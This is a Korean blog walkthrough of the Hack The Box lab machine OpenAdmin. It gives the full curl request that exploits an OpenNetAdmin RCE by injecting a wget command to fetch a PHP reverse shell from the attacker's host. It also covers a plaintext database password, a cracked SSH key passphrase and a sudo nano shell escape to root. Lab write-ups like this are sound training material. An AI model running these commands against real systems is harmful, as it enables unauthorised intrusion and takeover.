상세 컨텐츠

본문 제목

Hack the Box 해킹 모의 침투 OpenAdmin #1

HackTheBox

by 0xmh 2022. 5. 19. 18:59

본문

728x90

안녕하세요~ 오늘은 드디어 첫 번째 모의 침투를 할 겁니다!

오늘 할 machine는 OpenAdmin입니다. 난이도는 easy이고 보시다시피 많은 사람들이 이 machine를 풀었네요! (총 21000명)

우리가 찾게 될 취약점은:

1) Remote Code Execution

2) 노출된 비밀번호와

3) 일반 유저에게 nano를 sudo 권한으로 실행시키기

시작하기 전에 드리고 싶은 말씀이 있습니다.

첫째, 제가 앞으로 할 모의 침투에서 사용되는 tool, command 등에 대한 자세한 설명이 없을 겁니다. HackTheBox는 어느 정도 기본 지식이 있어야 machine들을 풀 수 있는 홈페이지이므로 TryHackMe에서 기본 지식부터 배우시는 게 나을 것 같습니다!

둘째, 이 말은 아시죠? "The best defense is a good offense" 최고의 방어는 좋은 공격이다. 따라서 제 생각에는 자기의 네트워크나 홈페이지 등을 잘 방어하고 싶다면 최신의 공격 기술 알아야 된다고 생각합니다. 무엇으로부터 공격당하는지를 모르면서 어떻게 방어를 합니까?

!!!! 아울러 모의 침투에서 쓰이는 tool들은 비윤리적인 목적을 위해서도 쓸 수 있기 때문에 여러분이 저의 블로그 읽으시고 그 tool들로 뭐 하실지 그 책임은 저에게 없음을 알려드립니다. 여러분이 책임을 지셔야 되고, tool이나 exploit를 사용하기 전에 항상 코드를 잘 확인하고 아이피 주소가 맞는지 확인 잘 하셔야 됩니다.!!!!

자~ 이제 갑시다! 아이피 주소를 받았으니까 가장 먼저 해야 될 것은 nmap 스캔이겠죠? nmap으로 열려 있는 포트를 확인할 수 있고, 열려 있는 포트가 우리의 공격 vector가 될 겁니다!

보시다시피 포트 2개밖에 없습니다.

22: SSH. 우리에게 지금은 로그인 데이터가 없기 때문에 무 쓸모

80: 80포트는 홈페이지입니다 (http. https는 8080이나 이 machine는 없습니다)

그러면 브라우저를 열어 홈페이지를 봅시다.

Default Apache2 페이지네요? 도움이 안 되겠네요. 홈페이지마다 원래 다른 다이렉토리도 많습니다. 예를 들어 http://hankugmanse/login, http://hankugmanse/upload etc.

이런 다이렉토리를 bruteforce 해주는 프로그램이 많은데 우리는 gobuster 사용합시다.

gobuster: 프로그램 이름

dir: 다이렉토리 bruteforce (vhost, dns 기능도 있습니다! 예를 들어: http://abced.hankugmanse.com

-u: 우리가 공격하는 아이피 주소

-w: wordlist입니다.

music이라는 다이렉토리가 있네요? http://10.10.10.171/music에 가봅시다.

아하! 드디어 뭐 나왔다. Home, About, Pages, 등을 눌러보니까 아무 데도 가지 않는 링크들인데, Login은 /ona라는 다이렉토리가 있다는 것을 보여주네요? 가보니까 우리 첫 번째 취약점 확인이 됩니다.

첫 번째 문제는, 위와 "관리"홈페이지는 일반 유저가 절대 접근하지 못하게 해야 됩니다. 왜냐? 이 홈페이지 바로 무슨 software와 버전까지 알려주기 때문이죠!! 읽어보니, 오래된 버전이라고 뜨네요? 이 버전은 취약점이 있을 수 있다는 말입니다!

구글링을 좀 해보니까 RCE 취약점이 있다는 것을 알 수 있습니다.

User Own

많기도 하네요 ㅎㅎ.

취약점을 보니까 curl 명령으로 쉽게 악용할 수 있는 것 같습니다. RCE 취약점이니까 우리가 원하는 command를 실행시킬 수 있는 말이잖아요? 그러니까 간단한 whoami부터 해봅시다.

여기 RCE가 확인됐습니다. whoami 실행시켜보니 www-data가 나옵니다!

자~ 이제 reverse shell 받읍시다. 다양한 방법이 많습니다!

저는 제가 많이 쓰는 php-rev-shell 선택했습니다 https://github.com/pentestmonkey/php-reverse-shell

위에 왼쪽 사진: exploit 코드를 보냅니다: curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;wget http://공격자아이피/php-rev-shell.php&xajaxargs[]=ping" http://10.10.10.171/ona/

(wget는 파일 다운로드 command입니다)

위에 오른쪽 사진: 우리의 컴퓨터에 있는 파일을 다운로드하라는 명령을 보내기 때문에 webpage hosting 해야 됩니다. Kali Linux는 간단하게 python -m SimpleHttpServer 80라는 명령어로 그런 홈페이지를 hosting 할 수 있고, 피해자가 이제 우리 컴퓨터에 있는 파일을 다운로드할 수 있습니다. 위와 설명해드린 것처럼 RCE 취약점이기 때문에 우리가 원하는 뭐든지 다 할 수 있습니다!

밑에 오른쪽 사진: 업로드했기 때문에 http://10.10.10.171/ona/php-rev-shell.php 가면 악성코드 실행됩니다

밑에 왼쪽 사진: 피해자로 부텨 연결이 들어오고, 침입 완료!!!

자~ 근데 우리 아직 low priviliged 유저이기 때문에 권한상승을 해야 됩니다. /home 를 보니까 joanna하고 jimmy라는 유저가 있지만 권한이 부족해서 폴더에 들어가기 불자... (Permission denied)

Root Own

권한 상승이 가능한 길을 찾아주는 tool이 있기는 있지만 (예를 들어 리눅스 환경은: linpeas, linenum, 윈도우 환경은: winpeas) 우리는 일단은 혼자 해봅시다!

홈페이지가 있기 때문에 먼저 /var/www 확인하는 것이 좋을 것 같습니다. 조금 찾아보다가 var/www/html/ona/local/config/database_settings.inc.php 라는 파일을 발견했는데 뭔지 보니... 비밀번호가 나오네요...

최악의 상황이죠... 이제 비밀번호를 받았으니 로그인을 해볼까요?

리눅스는 su라는 명령어로 유저를 바꿀 수 있고, su jimmy와 비밀번호를 입력해 보니 되네요! 우리는 이제 jimmy입니다!

그다음에는 netstat -tulpen 확인합시다! 네트워트 상태를 확인하는 명령어이고, 보니까 52846포트에 뭔가 있는 것 같네요? Local Address 127.0.0.1이기 때문에 이 네트워크 안에 있는 컴퓨터만 접근할 수 있습니다. 따라서 처음에 nmap 스캔했을 때는 52846포트가 이 이유로 안 나왔던 거였습니다.

www 폴더를 보니까 internal이라는 폴더도 있네요... 52846포트와 관련이 있다는 감이 오네요~

internal 안에 있는 main.php를 보니까 joanna id_rsa key가 나옵니다.

cat localhost:52845/main.php 실행시키고... 결과는... joanna의 id_rsa입니다

이 id_rsa로 ssh 로그인을 해보니 passphrase가 있다고 뜨네요? 자~ 그럼 비밀번호를 john이라는 tool로 받읍시다

비밀번호는 bloodninjas이네요! 이제 passphrase까지 얻었으니 joanna라는 유저로 ssh로 그인 가능합니다!

하지만 아직도 권한이 가장 높은 유저 root 아니죠... 그래서 제가 가장 먼저 확인하는 것은 sudo -l입니다

우리 joanna 유저에게 sudo 권한으로 /opt/priv이라는 파일을 nano로 열 수 있네요?

이것을 어떻게 악용할 수 있을까? 바로 gtfobins이라는 홈페이지!

gtfobins에서는 suid binary, sudo 권한, 등을 어떻게 악용할 수 있는지를 알려줍니다.

오케이 그럼 이제 우리가 해야 될 것은?

1) 터미널에서 sudo /bin/nano /opt/priv 실행

2) nano가 열렸고, shif+R 그다음에 shift+x 이제 nano에서 명령어를 실행할 수 있습니다.

3) 우리에게 sudo 권한이 있기 때문에 우리가 실행시키는 명령어도 다 root이겠죠?

--> reset; sh 1>&0 2>&0 실행시키면 root terminal이 나옵니다!!!

우리가 이제 권한 가장 높은 root 유저가 되었고, 모의 침투 완료!

Easy box 이긴 하지만 그렇게 쉽지는 않았죠? 뭐 저는 그렇게 생각합니다 ㅎㅎ 아직은 초보라서!

읽어 주셔서 감사합니다! 다음에는 윈도우 모의침투 해봅시다 :)

관련글 더보기